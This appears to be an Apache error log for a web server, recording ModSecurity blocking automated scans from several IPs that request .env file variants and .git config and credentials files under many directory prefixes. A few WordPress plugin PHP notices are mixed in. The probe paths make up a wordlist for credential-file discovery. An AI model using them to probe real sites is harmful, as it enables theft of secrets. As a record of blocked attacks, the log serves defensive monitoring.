[Fri Jan 30 12:14:34.361373 2026] [:error] [pid 46914:tid 46993] [client 44.234.84.67:54420] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/laravel/.env"] [unique_id "aXwwKlgSfJ4kZxNKlb8wTwAAAI8"], referer: https://www.google.com/
[Fri Jan 30 12:14:34.729239 2026] [:error] [pid 24711:tid 24728] [client 44.234.84.67:54424] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "aXwwKq5Gwh4var6T23LY2QAAAU4"], referer: https://www.google.com/
[Fri Jan 30 12:14:35.096488 2026] [:error] [pid 46914:tid 46986] [client 44.234.84.67:54436] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "aXwwK1gSfJ4kZxNKlb8wUQAAAIg"], referer: https://www.google.com/
[Fri Jan 30 12:14:35.461137 2026] [:error] [pid 47021:tid 47028] [client 44.234.84.67:54450] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/src/.env"] [unique_id "aXwwK9ap1k13UdZUNSTNwgAAAMU"], referer: https://www.google.com/
[Fri Jan 30 12:14:35.828947 2026] [:error] [pid 46914:tid 46984] [client 44.234.84.67:54466] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/storage/.env"] [unique_id "aXwwK1gSfJ4kZxNKlb8wUgAAAIY"], referer: https://www.google.com/
[Fri Jan 30 12:14:36.207079 2026] [:error] [pid 46913:tid 46962] [client 44.234.84.67:54480] [client 44.234.84.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/vendor/.env"] [unique_id "aXwwLDMWmKL8hOfC3uRyUAAAAEs"], referer: https://www.google.com/
[Fri Jan 30 12:18:40.894081 2026] [:error] [pid 24712:tid 24764] [client 52.15.192.199:40390] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aXwxIIRLQrFiQF3h9-vEvQAAAZY"], referer: https://www.google.com/
[Fri Jan 30 12:18:41.285834 2026] [:error] [pid 38980:tid 39011] [client 52.15.192.199:40406] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/credentials"] [unique_id "aXwxIbYByxUZEaKXdHpAmgAAAhg"], referer: https://www.google.com/
[Fri Jan 30 12:18:41.720474 2026] [:error] [pid 24711:tid 24719] [client 52.15.192.199:40422] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/HEAD"] [unique_id "aXwxIa5Gwh4var6T23La3AAAAUU"], referer: https://www.google.com/
[Fri Jan 30 12:18:42.119071 2026] [:error] [pid 47021:tid 47024] [client 52.15.192.199:40430] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aXwxItap1k13UdZUNSTQFQAAAME"], referer: https://www.google.com/
[Fri Jan 30 12:18:42.539753 2026] [:error] [pid 24711:tid 24718] [client 52.15.192.199:40446] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aXwxIq5Gwh4var6T23La3wAAAUQ"], referer: https://www.google.com/
[Fri Jan 30 12:18:42.934834 2026] [:error] [pid 38686:tid 38713] [client 52.15.192.199:40452] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aXwxIgoE8BAjgw1_sAUIqgAAAdc"], referer: https://www.google.com/
[Fri Jan 30 12:18:43.354868 2026] [:error] [pid 47663:tid 47668] [client 52.15.192.199:40462] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aXwxI0HGTrgIKCqEYbVAwAAAAkM"], referer: https://www.google.com/
[Fri Jan 30 12:18:43.750286 2026] [:error] [pid 24711:tid 24724] [client 52.15.192.199:40476] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "aXwxI65Gwh4var6T23La4gAAAUo"], referer: https://www.google.com/
[Fri Jan 30 12:18:44.173493 2026] [:error] [pid 47021:tid 47044] [client 52.15.192.199:40488] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "aXwxJNap1k13UdZUNSTQHAAAANU"], referer: https://www.google.com/
[Fri Jan 30 12:18:44.566297 2026] [:error] [pid 47663:tid 47680] [client 52.15.192.199:32884] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "aXwxJEHGTrgIKCqEYbVAwwAAAk8"], referer: https://www.google.com/
[Fri Jan 30 12:18:45.079355 2026] [:error] [pid 47021:tid 47032] [client 52.15.192.199:32896] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "aXwxJdap1k13UdZUNSTQJwAAAMk"], referer: https://www.google.com/
[Fri Jan 30 12:18:45.524013 2026] [:error] [pid 46912:tid 46932] [client 52.15.192.199:32910] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aXwxJT6yiVW7A9NwFFlyVQAAAAg"], referer: https://www.google.com/
[Fri Jan 30 12:18:45.983500 2026] [:error] [pid 46912:tid 46928] [client 52.15.192.199:32918] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "aXwxJT6yiVW7A9NwFFlyVgAAAAQ"], referer: https://www.google.com/
[Fri Jan 30 12:18:46.408417 2026] [:error] [pid 47021:tid 47042] [client 52.15.192.199:32934] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "aXwxJtap1k13UdZUNSTQLgAAANM"], referer: https://www.google.com/
[Fri Jan 30 12:18:46.900405 2026] [:error] [pid 24712:tid 24755] [client 52.15.192.199:32948] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "aXwxJoRLQrFiQF3h9-vEwwAAAY4"], referer: https://www.google.com/
[Fri Jan 30 12:18:47.417292 2026] [:error] [pid 46914:tid 46988] [client 52.15.192.199:32952] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.sample"] [unique_id "aXwxJ1gSfJ4kZxNKlb8x0AAAAIo"], referer: https://www.google.com/
[Fri Jan 30 12:18:47.824036 2026] [:error] [pid 46912:tid 46935] [client 52.15.192.199:32962] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aXwxJz6yiVW7A9NwFFlyWAAAAAs"], referer: https://www.google.com/
[Fri Jan 30 12:18:48.217172 2026] [:error] [pid 47021:tid 47046] [client 52.15.192.199:32970] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "aXwxKNap1k13UdZUNSTQOwAAANc"], referer: https://www.google.com/
[Fri Jan 30 12:18:48.618440 2026] [:error] [pid 47663:tid 47679] [client 52.15.192.199:32974] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod.local"] [unique_id "aXwxKEHGTrgIKCqEYbVAzQAAAk4"], referer: https://www.google.com/
[Fri Jan 30 12:18:49.035058 2026] [:error] [pid 38980:tid 39000] [client 52.15.192.199:32988] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev.local"] [unique_id "aXwxKbYByxUZEaKXdHpAogAAAg0"], referer: https://www.google.com/
[Fri Jan 30 12:18:49.435944 2026] [:error] [pid 46914:tid 46996] [client 52.15.192.199:33000] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.remote"] [unique_id "aXwxKVgSfJ4kZxNKlb8x3gAAAJI"], referer: https://www.google.com/
[Fri Jan 30 12:18:49.825924 2026] [:error] [pid 24711:tid 24734] [client 52.15.192.199:33012] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.1"] [unique_id "aXwxKa5Gwh4var6T23La7wAAAVQ"], referer: https://www.google.com/
[Fri Jan 30 12:18:50.222413 2026] [:error] [pid 46914:tid 46995] [client 52.15.192.199:33028] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.2"] [unique_id "aXwxKlgSfJ4kZxNKlb8x6AAAAJE"], referer: https://www.google.com/
[Fri Jan 30 12:18:50.622208 2026] [:error] [pid 24712:tid 24762] [client 52.15.192.199:33038] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/.env"] [unique_id "aXwxKoRLQrFiQF3h9-vE0QAAAZQ"], referer: https://www.google.com/
[Fri Jan 30 12:18:51.026994 2026] [:error] [pid 24712:tid 24756] [client 52.15.192.199:33046] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/v1/.env"] [unique_id "aXwxK4RLQrFiQF3h9-vE0gAAAY8"], referer: https://www.google.com/
[Fri Jan 30 12:18:51.452925 2026] [:error] [pid 24712:tid 24752] [client 52.15.192.199:33060] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/api/v2/.env"] [unique_id "aXwxK4RLQrFiQF3h9-vE0wAAAYs"], referer: https://www.google.com/
[Fri Jan 30 12:18:51.855864 2026] [:error] [pid 38980:tid 39005] [client 52.15.192.199:33062] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/backend/.env"] [unique_id "aXwxK7YByxUZEaKXdHpApQAAAhI"], referer: https://www.google.com/
[Fri Jan 30 12:18:52.246875 2026] [:error] [pid 46913:tid 46958] [client 52.15.192.199:33078] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/server/.env"] [unique_id "aXwxLDMWmKL8hOfC3uRzHQAAAEc"], referer: https://www.google.com/
[Fri Jan 30 12:18:52.650508 2026] [:error] [pid 38686:tid 38698] [client 52.15.192.199:33092] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/admin/.env"] [unique_id "aXwxLAoE8BAjgw1_sAUIwQAAAcg"], referer: https://www.google.com/
[Fri Jan 30 12:18:53.070120 2026] [:error] [pid 38980:tid 39003] [client 52.15.192.199:33094] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/core/.env"] [unique_id "aXwxLbYByxUZEaKXdHpAqAAAAhA"], referer: https://www.google.com/
[Fri Jan 30 12:18:53.490369 2026] [:error] [pid 38686:tid 38702] [client 52.15.192.199:33100] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/laravel/.env"] [unique_id "aXwxLQoE8BAjgw1_sAUIwwAAAcw"], referer: https://www.google.com/
[Fri Jan 30 12:18:53.883437 2026] [:error] [pid 46914:tid 46982] [client 52.15.192.199:33108] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/config/.env"] [unique_id "aXwxLVgSfJ4kZxNKlb8x8gAAAIQ"], referer: https://www.google.com/
[Fri Jan 30 12:18:54.279753 2026] [:error] [pid 46912:tid 46937] [client 52.15.192.199:55028] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "aXwxLj6yiVW7A9NwFFlycQAAAA0"], referer: https://www.google.com/
[Fri Jan 30 12:18:54.676340 2026] [:error] [pid 46914:tid 46992] [client 52.15.192.199:55030] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/src/.env"] [unique_id "aXwxLlgSfJ4kZxNKlb8x9QAAAI4"], referer: https://www.google.com/
[Fri Jan 30 12:18:55.081607 2026] [:error] [pid 46912:tid 46927] [client 52.15.192.199:55034] [client 52.15.192.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/storage/.env"] [unique_id "aXwxLz6yiVW7A9NwFFlycwAAAAM"], referer: https://www.google.com/
[Fri Jan 30 12:35:58.558838 2026] [proxy_fcgi:error] [pid 47021:tid 47040] [client 103.4.122.14:39374] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Fri Jan 30 12:36:13.003877 2026] [proxy_fcgi:error] [pid 38686:tid 38695] [client 103.4.122.14:39456] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Fri Jan 30 15:00:35.469277 2026] [:error] [pid 24711:tid 24722] [client 196.89.178.90:64569] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aXxXE65Gwh4var6T23IgZgAAAUg"], referer: https://www.twitch.tv/directory/game/Just%20Chatting
[Fri Jan 30 15:00:37.416189 2026] [:error] [pid 24712:tid 24743] [client 196.89.178.90:51129] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "aXxXFYRLQrFiQF3h9-v1rgAAAYI"], referer: https://www.youtube.com/results?search_query=guitar+tutorial+for+beginners
[Fri Jan 30 15:00:39.078974 2026] [:error] [pid 38980:tid 39003] [client 196.89.178.90:51992] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "aXxXF7YByxUZEaKXdHpkEwAAAhA"], referer: https://stackoverflow.com/search?q=%5Bcss%5D+animation&sort=newest
[Fri Jan 30 15:00:40.756018 2026] [:error] [pid 24711:tid 24716] [client 196.89.178.90:50247] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aXxXGK5Gwh4var6T23IgbAAAAUI"], referer: https://www.ebay.com/sch/i.html?_nkw=vintage+camera&_sacat=0
[Fri Jan 30 15:00:42.380216 2026] [:error] [pid 24711:tid 24720] [client 196.89.178.90:49273] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aXxXGq5Gwh4var6T23IgbQAAAUY"], referer: https://duckduckgo.com/?q=best+hiking+trails+near+me&ia=web
[Fri Jan 30 15:00:44.001433 2026] [:error] [pid 24712:tid 24746] [client 196.89.178.90:52905] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "aXxXHIRLQrFiQF3h9-v1tAAAAYU"], referer: https://www.bbc.com/news/science-environment-12345678
[Fri Jan 30 15:00:45.627699 2026] [:error] [pid 46912:tid 46926] [client 196.89.178.90:53652] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aXxXHT6yiVW7A9NwFFmZFAAAAAI"], referer: https://docs.python.org/3/search.html?q=json+parsing&check_keywords=yes
[Fri Jan 30 15:00:47.231706 2026] [:error] [pid 24681:tid 24696] [client 196.89.178.90:53808] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "aXxXH4E368IXQpahn0JG4QAAAQ0"], referer: https://www.cloudflare.com/
[Fri Jan 30 15:00:48.820613 2026] [:error] [pid 24711:tid 24727] [client 196.89.178.90:61012] [client 196.89.178.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aXxXIK5Gwh4var6T23IgbwAAAU0"], referer: https://duckduckgo.com/?q=best+hiking+trails+near+me&ia=web
